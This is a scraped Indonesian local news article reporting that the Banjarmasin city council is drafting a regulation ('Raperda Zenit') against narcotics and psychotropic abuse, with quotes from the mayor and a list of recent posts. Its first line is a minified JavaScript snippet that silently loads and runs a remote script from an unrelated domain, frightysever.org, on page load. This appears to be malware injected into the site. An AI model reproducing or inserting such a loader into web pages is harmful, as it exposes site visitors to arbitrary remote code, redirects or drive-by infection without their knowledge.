(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Kota Seribu Sungai Siapkan Raperda Zenit


BANJARMASIN, Demi menyelamatkan generasi muda Kota Seribu Sungai dari bahaya Narkoba, gerak cepat dilakukan para anggota legislatif kota ini. Wakil rakyat tmulai merancang sebuah Raperda untuk membendung penyalahgunaan dan peredaran gelap Narkoba, psikotropika dan zat adiktif.

Raperda tersebut resmi dimasukan dalam rencana pembahasan, melalui pada Rapat Paripurna, di DPRD Kota Banjarmasin, Rabu (13/12).

Raperda inisiatif lainnya yang juga dimasukan para wakil rakyat tersebut dalam sidang itu adalah Raperda tentang urusan pemerintah yang menjadi kewenangan Pemerintah Kota Banjarmasin.

Sidang yang dipimpin oleh Ketua DPRD Kota Banjarmasin Hj Ananda itu, dihadiri langsung oleh Walikota Banjarmasin H Ibnu Sina.

Menurut Ibnu Sina terkait degan Raperda pencegahan peredaran Narkoba atau yang lebih populer dikenal dengan Raperda Zenit, bukan hanya untuk satu atau dua jenis psikotropika saja, tetapi untuk semua jenis Narkoba.

“Perda ini sebenarnya adalah sebuah kebutuhan karena inilah alat aparat penegak hukum untuk melakukan tindakan tegas, walaupun di dalam Perda itu ada ancaman terlalu ringan, namun ini langkah penyelamatan generasi muda, mengingat sejak awal tahun tadi Kota Banjarmasin darurat Narkoba dan darurat zenit,” ungkapnya.

Hasil razia THM dan beberapa hotel, beber orang nomor satu di Balaikota Banjatmasin, didapatkan dan ditemukan barang barang jenis obat-obatan terlarang, termasuk zenit.

Untuk itu, katanya,  dengan adanya Perda tersebut paling tidak ada piranti hukum yang menjadi payung bagi aparat hukum melakukan tindakan.

Terkait Raperda tentang Urusan Pemerintah yang menjadi Kewenangan Pemerintah Kota Banjarmasin.

Foto : ammar

Penggodokan Raperda tersebut hinggai menjadi Perda juga sangat diperlukan mengingat obat psikotropika itu di satu sisi merupakan obat yang bermanfaat dibidang kesehatan dan pengembangan ilmu pengetahuan jika digunakan sesuai peruntukannya, namun di sisi lain dapat merugikan apabila disalah gunakan.

“Untuk itu perlu ditetapkan kembali Perda yang mengatur tentang kewenangan Pemko Banjarmasin degan mengacu pada Undang-Undang nomor 23 tahun 2014 tentang pemerintah daerah,” ujarnya. (ammar)


Desy Arfianty

Recent Posts

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

4 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

5 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

5 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

5 jam ago

Nobar Timnas di Balai Kota Banjarbaru Berizin Resmi Pemegang Hak Siar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More

6 jam ago

Dekranasda HSU Tawarkan Produk Kerajinan UMKM di Bazar MTQ

KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More

6 jam ago

This website uses cookies.